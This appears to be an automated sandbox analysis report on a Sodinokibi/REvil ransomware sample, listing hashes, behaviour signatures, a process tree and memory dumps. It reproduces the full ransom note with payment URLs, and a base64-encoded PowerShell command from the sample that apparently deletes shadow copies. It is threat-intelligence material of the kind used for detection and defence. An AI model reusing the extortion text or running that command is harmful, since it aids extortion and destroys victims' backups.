Overview

overview

10

Static

static

10

a4974fd8c5...e9.exe

windows7_x64

10

a4974fd8c5...e9.exe

windows10_x64

10

Analysis

  • max time kernel
    117s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24/01/2022, 01:24

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General

  • Target
    a4974fd8c55c0ad42e459fb67e0d077301819417542bc27cc34311a61c749ce9.exe
  • Size 115KB
  • Sample220124-bsvvdahdgr
  • SHA256 a4974fd8c55c0ad42e459fb67e0d077301819417542bc27cc34311a61c749ce9
  • MD5 SHA1 SHA512
Score
10/10
sodinokibiransomware

Malware Config

Extracted

Path

  • C:\1zw2w96i5-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 1zw2w96i5. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A14881688D171D1E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/A14881688D171D1E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 86VwX0GKFV8qfwEKwevsQvhJuTrr7blCCfwLPE8Yy3RtbWnM6+KTN46oqxdfSFOI 67JofCCucho0G/cwp1ukGwupdFNkzd0cMeFbd2hyfqnDMXpMHZnVVyVL2aCy+e0j 848IbidwueCmi0h3OfSCgVEY4ITjb4tbFBbZ7Pxj8nzuYGoR1VIiAEbyVw5YslM7 W5yqqDByROpvOkMTAJMrCbKXCmvEPDUFnLJ06sFIhApcqFKAGRE9tud3DjO4keMf YKfHrzg76/aJYB3tpmJ+PeEAoGFi6cw7zhU0EzSWTEXiGIte5LlYhFiVoiNgJ+0U kDWw28YqtNStpDvT3qaz00nPbg3iVrPDBY0gvbTaquTouQ0lHJfWf6rIOd6jJ0cp N4U3C4GxRkc07tMHUiL8xl/BieqI4lmKmV+fmmfC0OYofUfgr9tgLFbDxX0eZ4AE XPkniMykJzZNDepNPs7BhtRtHbBF/jGGAqdaYVG5snd42w0gkTdlTaG1Bk7NwhmA pmDddcTcDXifdWrqI6ijfljYZu1NzACPBoLPwQNjUmcJmEB2zHi3D9T25JSsyHd1 9xh3D0wYYMdFiDlQo+Np3vLwP6jGgVmogsnwYbk+DI32hbPLkXSKMT88CaBE0CAi lnymfj5PvJg/9Ri4py00AMtiQ5XsiyKmuIuE2AteUuFwY9fRRvjG/9EwI8OYbdq5 AH/EX1LiZNkKvkE3vJ4+6gmBj+4NVQU4nx4/3vDpUwbuBiwyabU7XFuObwOtsUJW qZMA+cDjCyECCPPbjXGLyBjAPK1yZFWoD/66m3pwxrwFnR4iFGvcUwtnf7N20N0t r4oLf7U5UzK/uhjk6i9myO5mR1MaYziVJJkTkdn6gtDX1YUvrQ/1jT78rwUF6POd I0yILS5voy9DZlBgX1fUHQs09VP6UK9oVzJm7yhiixcWTpo2WzcJI0I7NZ1i6pLL EAf8Txmhr6+QdonpqSpWSLyzGIO71Gkw2UYzwwZ3ig1ObqDdcl5doNZ56z9wP1sy tpQasERHFF55M1vQzmZL+5wD01R6dTZdyTnNsYMTdBWIwNQmeUm4Efrx9/yldLIq CB43To51v5Fw2pfU5bAsbU/TBeSwpIC1fJIfJ1B0olVO9xKWljZrx9u45gzTJCxT QINauJ4hZ4jk14ZHUPFL4QgULyXGxXDofUzRkotlqhx2gf770XKERjehnyR3pF42 AFiN/qH2siz49enOlCqyoz609cWJWUwcLp5xiusOq81SPT90U6fwVpZ51bnltgkY 6MXo/bO4FwNbXAZORZKCZQGFK/l54p+BQYjHQw== Extension name: 1zw2w96i5 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/A14881688D171D1E

  • http://decryptor.cc/A14881688D171D1E

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

    ransomwaresodinokibi
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 20 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a4974fd8c55c0ad42e459fb67e0d077301819417542bc27cc34311a61c749ce9.exe
    "C:\Users\Admin\AppData\Local\Temp\a4974fd8c55c0ad42e459fb67e0d077301819417542bc27cc34311a61c749ce9.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1204
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1160
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1144

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/1204-55-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp
          Download

          memory/1204-57-0x0000000002840000-0x0000000002842000-memory.dmp
          Download

          memory/1204-58-0x0000000002842000-0x0000000002844000-memory.dmp
          Download

          memory/1204-59-0x0000000002844000-0x0000000002847000-memory.dmp
          Download

          memory/1204-56-0x000007FEF2CD0000-0x000007FEF382D000-memory.dmp
          Download

          memory/1204-60-0x000000001B7C0000-0x000000001BABF000-memory.dmp
          Download

          memory/1204-61-0x000000000284B000-0x000000000286A000-memory.dmp
          Download

          memory/1684-54-0x0000000075761000-0x0000000075763000-memory.dmp
          Download